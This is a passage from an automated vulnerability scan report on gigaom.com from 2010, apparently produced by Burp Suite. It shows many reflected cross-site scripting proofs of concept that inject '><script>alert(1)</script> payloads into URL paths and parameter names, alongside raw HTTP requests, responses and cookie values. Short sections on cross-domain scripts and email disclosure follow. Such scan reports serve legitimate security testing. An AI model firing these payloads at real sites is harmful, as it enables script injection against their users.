The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7e5ae'><script>alert(1)</script>f1998f017b5 was submitted in the REST URL parameter 2. This input was echoed as 7e5ae\'><script>alert(1)</script>f1998f017b5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /mobile/ntt-docomo-launches-75-mbps-lte-merry-christmas-japan7e5ae'><script>alert(1)</script>f1998f017b5/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 23:27:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 23:27:08 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Content-Length: 81763
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a0f22'><script>alert(1)</script>4b0c268c7c9 was submitted in the REST URL parameter 1. This input was echoed as a0f22\'><script>alert(1)</script>4b0c268c7c9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /a0f22'><script>alert(1)</script>4b0c268c7c9 HTTP/1.1 Host: gigaom.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=84586511.1291197854.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; __utma=84586511.1656983113.1291197854.1291197854.1293655551.2; __utmc=84586511; __utmb=84586511.1.10.1293655551; __qca=P0-1294378727-1293655574026; _bizo_cksm_crc32=EE5AA7C4; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; km_lv=x; km_uq=
Response
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 21:14:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 21:14:55 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Vary: Accept-Encoding Content-Length: 81826
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f3368'><script>alert(1)</script>785d6becd89 was submitted in the REST URL parameter 2. This input was echoed as f3368\'><script>alert(1)</script>785d6becd89 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /topic/google-tvf3368'><script>alert(1)</script>785d6becd89/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:28:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Link: <http://wp.me/10LZV>; rel=shortlink Content-Length: 41856
1.22. http://gigaom.com/topic/google-tv/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://gigaom.com
Path:
/topic/google-tv/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 382bc'><script>alert(1)</script>cec7c01a922 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 382bc\'><script>alert(1)</script>cec7c01a922 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /topic/google-tv/?382bc'><script>alert(1)</script>cec7c01a922=1 HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:27:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Content-Length: 53503
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7ed26'><script>alert(1)</script>fe5c1e79257 was submitted in the REST URL parameter 2. This input was echoed as 7ed26\'><script>alert(1)</script>fe5c1e79257 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /video/2011-prediction-this-will-be-the-year-of-cord-cutting7ed26'><script>alert(1)</script>fe5c1e79257/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 23:28:42 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 23:28:40 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Content-Length: 81330
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7ecb3'><script>alert(1)</script>1dbfbf16292 was submitted in the REST URL parameter 2. This input was echoed as 7ecb3\'><script>alert(1)</script>1dbfbf16292 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /video/cord-cutters-confessions-cancel-cable7ecb3'><script>alert(1)</script>1dbfbf16292/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 23:28:37 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 23:28:36 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Content-Length: 81183
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 81942'><script>alert(1)</script>5765bde5fec was submitted in the REST URL parameter 2. This input was echoed as 81942\'><script>alert(1)</script>5765bde5fec in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /video/online-video-net-neutrality81942'><script>alert(1)</script>5765bde5fec/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 23:28:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 23:28:20 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Content-Length: 81107
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 94579'><script>alert(1)</script>c34b8a51bd8 was submitted in the REST URL parameter 3. This input was echoed as 94579\'><script>alert(1)</script>c34b8a51bd8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /video/topic/comcast-level-394579'><script>alert(1)</script>c34b8a51bd8/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:28:19 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Link: <http://wp.me/10LZV>; rel=shortlink Content-Length: 40658
1.27. http://gigaom.com/video/topic/comcast-level-3/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://gigaom.com
Path:
/video/topic/comcast-level-3/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7c698'><script>alert(1)</script>d5ff7e397b9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 7c698\'><script>alert(1)</script>d5ff7e397b9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /video/topic/comcast-level-3/?7c698'><script>alert(1)</script>d5ff7e397b9=1 HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:27:39 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Content-Length: 51499
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c7d02'><script>alert(1)</script>af200e940a2 was submitted in the REST URL parameter 3. This input was echoed as c7d02\'><script>alert(1)</script>af200e940a2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /video/topic/cord-cuttersc7d02'><script>alert(1)</script>af200e940a2/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:28:28 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Link: <http://wp.me/10LZV>; rel=shortlink Content-Length: 40628
1.29. http://gigaom.com/video/topic/cord-cutters/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://gigaom.com
Path:
/video/topic/cord-cutters/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6de01'><script>alert(1)</script>70ed5bb6b7a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 6de01\'><script>alert(1)</script>70ed5bb6b7a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /video/topic/cord-cutters/?6de01'><script>alert(1)</script>70ed5bb6b7a=1 HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:27:48 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Content-Length: 51820
The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET / HTTP/1.1 Host: gigaom.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=84586511.1291197854.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; __utma=84586511.1656983113.1291197854.1291197854.1291197854.1
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 21:14:07 GMT Content-Type: text/html; charset=UTF-8 Connection: close Last-Modified: Wed, 29 Dec 2010 21:09:15 +0000 Cache-Control: max-age=8, must-revalidate Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php X-nananana: Batcache Vary: Accept-Encoding Content-Length: 93841
GET / HTTP/1.1 Host: gigaom.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=84586511.1291197854.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; __utma=84586511.1656983113.1291197854.1291197854.1291197854.1
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 20:46:04 GMT Content-Type: text/html; charset=UTF-8 Connection: close Last-Modified: Wed, 29 Dec 2010 20:43:05 +0000 Cache-Control: max-age=121, must-revalidate Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php X-nananana: Batcache Vary: Accept-Encoding Content-Length: 93549
GET /a0f22'><script>alert(1)</script>4b0c268c7c9 HTTP/1.1 Host: gigaom.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=84586511.1291197854.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; __utma=84586511.1656983113.1291197854.1291197854.1293655551.2; __utmc=84586511; __utmb=84586511.1.10.1293655551; __qca=P0-1294378727-1293655574026; _bizo_cksm_crc32=EE5AA7C4; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; km_lv=x; km_uq=
Response
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 21:18:32 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 21:18:31 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Vary: Accept-Encoding Content-Length: 81820
GET /apple/topic/mobile-apps/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=EE5AA7C4; __utmz=84586511.1291197854.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1291197854.1293655551.2; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.1.10.1293655551;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 21:14:22 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Last-Modified: Wed, 29 Dec 2010 21:14:22 +0000 Cache-Control: max-age=300, must-revalidate X-nananana: Batcache Content-Length: 52702
GET /apple/topic/mobile-apps/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:22:33 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Last-Modified: Wed, 29 Dec 2010 23:22:33 +0000 Cache-Control: max-age=300, must-revalidate X-nananana: Batcache Content-Length: 52691
GET /cleantech/topic/electric-vehicles/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:22:51 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Content-Length: 53168
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 21:15:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Last-Modified: Wed, 29 Dec 2010 21:15:30 +0000 Cache-Control: max-age=300, must-revalidate X-nananana: Batcache Vary: Accept-Encoding Content-Length: 92827
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:12:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close Last-Modified: Wed, 29 Dec 2010 23:09:28 +0000 Cache-Control: max-age=146, must-revalidate Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php X-nananana: Batcache Vary: Accept-Encoding Content-Length: 92904
GET /cloud/topic/the-cloud/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:23:25 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Last-Modified: Wed, 29 Dec 2010 23:23:25 +0000 Cache-Control: max-age=300, must-revalidate X-nananana: Batcache Content-Length: 51598
GET /topic/google-tv/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:26:43 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Last-Modified: Wed, 29 Dec 2010 23:26:43 +0000 Cache-Control: max-age=300, must-revalidate X-nananana: Batcache Content-Length: 53408
GET /video/topic/comcast-level-3/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:25:48 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Last-Modified: Wed, 29 Dec 2010 23:25:48 +0000 Cache-Control: max-age=300, must-revalidate X-nananana: Batcache Content-Length: 51418
GET /video/topic/cord-cutters/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:26:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Last-Modified: Wed, 29 Dec 2010 23:26:17 +0000 Cache-Control: max-age=300, must-revalidate X-nananana: Batcache Content-Length: 51451
The following email address was disclosed in the response:
support@wordpress.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
